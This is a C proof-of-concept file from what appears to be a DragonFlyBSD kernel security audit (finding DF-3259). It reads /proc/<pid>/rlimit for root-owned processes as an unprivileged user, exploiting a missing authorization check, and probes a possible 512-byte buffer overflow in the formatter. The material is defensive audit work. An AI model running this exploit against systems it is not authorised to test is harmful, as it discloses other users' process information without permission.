⬢ DragonFlyBSD Kernel Audit
DF-3259 / rlimit_authz.c
← back to finding ↓ download raw
/*
 * DF-3259 PoC — /proc/<pid>/rlimit has no per-op authorization.
 * Plus: empirical DF-0935 boundary check (max formatter output vs psbuf[512]).
 *
 * procfs_dorlimit() (sys/vfs/procfs/procfs_rlimit.c:55-110) performs no
 * CHECKIO()/p_trespass() gate — unlike every sibling (regs/fpregs/dbregs/
 * ctl/mem).  With security.ps_showallprocs=1 (default) any local user can
 * read the rlimits of ANY process, including root's.
 *
 * Build:  cc -O -o rlimit_authz rlimit_authz.c
 * Run:    ./rlimit_authz <pid-of-root-process>
 */
#include <sys/resource.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static const char *ident[RLIM_NLIMITS] = {
	"cpu", "fsize", "data", "stack", "core", "rss", "memlock", "nproc",
	"nofile", "sbsize", "vmem", "posixlock",
};

static int
ndigits(unsigned long long v)
{
	int n = 1;
	while (v >= 10) { v /= 10; n++; }
	return (n);
}

int
main(int argc, char **argv)
{
	struct rlimit rl;
	char buf[4096];
	ssize_t n;
	int fd, i, pid;

	/* ---- part 1: read a root process's rlimits as this unpriv user ---- */
	pid = (argc > 1) ? atoi(argv[1]) : 1;
	snprintf(buf, sizeof(buf), "/proc/%d/rlimit", pid);
	fd = open(buf, O_RDONLY);
	if (fd < 0)
		err(1, "open %s", buf);
	n = read(fd, buf, sizeof(buf) - 1);
	close(fd);
	if (n < 0)
		err(1, "read");
	buf[n] = 0;
	printf("uid=%d read %s: %zd bytes\n", getuid(), argv[0], n);
	printf("---- /proc/%d/rlimit (owner uid should be 0) ----\n", pid);
	printf("%s", buf);
	printf("---- end (%zd bytes) ----\n", n);

	/* ---- part 2: DF-0935 empirical maximum formatter length ---- */
	/*
	 * Push every limit as high as an unprivileged process can:
	 * lowering rlim_max below the current max needs no privilege
	 * (kern_plimit.c:294-303); kernel caps then clamp
	 * data/stack/nofile/nproc/posixlocks (kern_plimit.c:316-379).
	 */
	size_t len = 0;
	printf("\nrlimit state after unpriv maximization:\n");
	for (i = 0; i < RLIM_NLIMITS; i++) {
		if (getrlimit(i, &rl) != 0) { warn("getrlimit %d", i); continue; }
		struct rlimit nl;
		nl.rlim_max = (rl.rlim_max == RLIM_INFINITY) ?
		    9223372036854775806ULL : rl.rlim_max;
		nl.rlim_cur = nl.rlim_max;
		if (setrlimit(i, &nl) != 0)
			warn("setrlimit %d", i);
		getrlimit(i, &rl);
		printf("  %-10s cur=%llu max=%llu\n", ident[i],
		    (unsigned long long)rl.rlim_cur,
		    (unsigned long long)rl.rlim_max);
		len += strlen(ident[i]) + 1;
		len += (rl.rlim_cur == RLIM_INFINITY) ? 2 :
		    ndigits((unsigned long long)rl.rlim_cur);
		len += 1;
		len += (rl.rlim_max == RLIM_INFINITY) ? 2 :
		    ndigits((unsigned long long)rl.rlim_max);
		len += 1;
	}
	printf("predicted max formatter output: %zu bytes (psbuf=512, DF-0935 overflow iff >512)\n",
	    len);

	/* actually read our own maximized rlimit back */
	fd = open("/proc/self/rlimit", O_RDONLY);
	if (fd >= 0) {
		n = read(fd, buf, sizeof(buf) - 1);
		close(fd);
		if (n > 0) {
			buf[n] = 0;
			printf("actual /proc/self/rlimit length: %zd bytes\n", n);
		}
	}
	return (0);
}